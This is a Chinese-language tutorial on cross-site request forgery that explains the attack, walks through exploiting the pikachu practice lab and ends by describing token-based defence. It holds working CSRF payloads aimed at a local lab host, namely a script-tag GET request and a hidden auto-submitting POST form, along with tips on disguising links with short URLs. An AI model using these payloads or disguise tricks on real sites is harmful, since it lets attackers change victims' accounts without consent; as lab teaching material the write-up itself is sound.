一、什么是CSRF
CSRF(跨站请求伪造)
一个网站正常的请求会将合法用户的session id保存到浏览器的cookie中。这时候,如果用户在浏览器中打开另一个该网站的页面,那这个页面也是可以获得浏览器的cookie,黑客可以利用这个cookie信息进行攻击。CSRF攻击也被称为"one click"攻击。
二、CSRF原理:
CSRF跨站点请求伪造。攻击者盗用了受害者的身份,以受害者的名义发送恶意请求。
对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。
网页上没有token验证,或者没有检查REFERER信息所导致的,黑客做假连接诱导用户点击。
三、CSRF实战案例理解
比如某用户登录了某银行,那么该用户的session id保存到了浏览器的cookie中,同时该用户如果想要向账号100转账1000元,那么银行网站以GET方式发起转账操作,那么url应该就是这个:https://www.xxx.com/transfor.do?accountNum=100\&monkey=1000
攻击过程如下:
其中80代表攻击者的银行账号。
2.某用户登录了银行网站后,该用户的session id保存到用户浏览器的cookie中了。又打开了该浏览器的另外一个标签页面,就是https://www.xxx.bbb/luntan这个网站,此时这个网站并不会携带用户银行的cookie,但是当用户点击这个图片,用户的浏览器就会解析这个图片,同时让用户的浏览器发送一个https://www.xxx.com/transfer.do?accountNum=80\&monkey=1000的请求,并且携带上用户登录银行后保存的cookie。
3.这样银行服务器受到这个请求,发现含有该用户的cookie,就会误以为是该用户发送的请求,所以向80账号转账1000的操作就得以实现。
注意:在用户登录的情况下访问与银行的网站时会携带该用户的cookie可以实现直接跳转不用每次都登录,这本质也是为了用户方便,不用老是登录,因为图片加载的是该银行网站,所以当用户的浏览器加载这个图片的银行链接时会自动携带上用户的cookie。
四、pikachu靶场之CSRF
1.CSRF(GET)
首先我们来到登录页面,点击右边的提示拿到账号密码,这里我必须选择牢大kobe啊~
OK啊,于是我们点击修改个人信息,然后再提交的时候抓包。

抓包内容如下:

我们把性别直接修改成girl然后放包发现能直接成功,看我的个人信息变成了女生啦,这里暴露出一些问题,比如没有设置token随机数来校验,以至于我们直接修改就可以成功。

所以我们可以直接构造恶意url(更改参数的值),将我的住址改为nba huojiandui。
实际上,某用户kobe登录后点击我这个链接,就可以更改kobe的地址,这里我们假装是该kobe用户,点击这个链接,然后发现kobe的地址改为了nba huojiandui。

扩展
链接意图太明显的话可以使用一些短链接网站,将这个链接缩短以降低恶意意图。
或者
在自己的服务器创建index.html,诱导用户点击这个html时修改信息。
index.html的内容:
javascript
<script src="http://192.168.112.1/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=15988767673&add=nba+huojiandui&email=kobe%40pikachu.com&submit=submit"></script>
2.CSRF(POST)
这里我们再次登录然后个人信息如下,点击修改个人信息。

点击提交的同时抓包,可以看到数据传输为POST方式,如果这样的话我们使用链接的方式都没有办法使用了,因为链接修改信息使用GET方式。

这里我们可以构造一个html文件,将url通过数据包中的host和路径,拼接成http://192.168.112.1/vul/csrf/csrfpost/csrf_post_edit.php
这个html文件在用户点击后加载完毕后会自动将修改的信息以POST方式提交,从而造成攻击,代码如下:
html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script> <!-- 这个script是用来自动提交表单的 -->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
</head>
<body>
<form action="http://192.168.112.1/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="111111" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="1111111@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>
这里我们在kobe用户登录的情况下,假装kobe用户点击这个html,发现修改成功!
3.CSRF TOKEN
登录来了

依旧修改个人信息性别为boy,在提交的时候抓包,这次我们发现参数多了一个token。

token的生成:
_GET\['token'\]==_SESSION['token']
比较客户端提交的token值与服务器端存储的token值是否相等。

set_token();
每次刷新页面都会更新token。

服务器端生成的token值会直接输出到前端,以隐藏表单的方式存储,在提交表单时会一同提交给服务器,服务器会将提交的token值与自身存储的token值比较,若一致才会进行下一步操作。

整体流程概述
这是一个用户修改个人资料的页面。为了防止恶意网站伪造请求来修改用户资料(CSRF攻击),它使用了Token机制,流程如下:
-
生成Token:页面加载时,生成一个随机Token,并存到Session和表单里。
-
提交验证:用户提交表单时,服务器比对表单中的Token和Session中的Token。
-
销毁Token :验证成功后,立即销毁Session中的Token(
unset
就是这一步)。 -
执行操作:Token验证通过,执行数据库更新操作。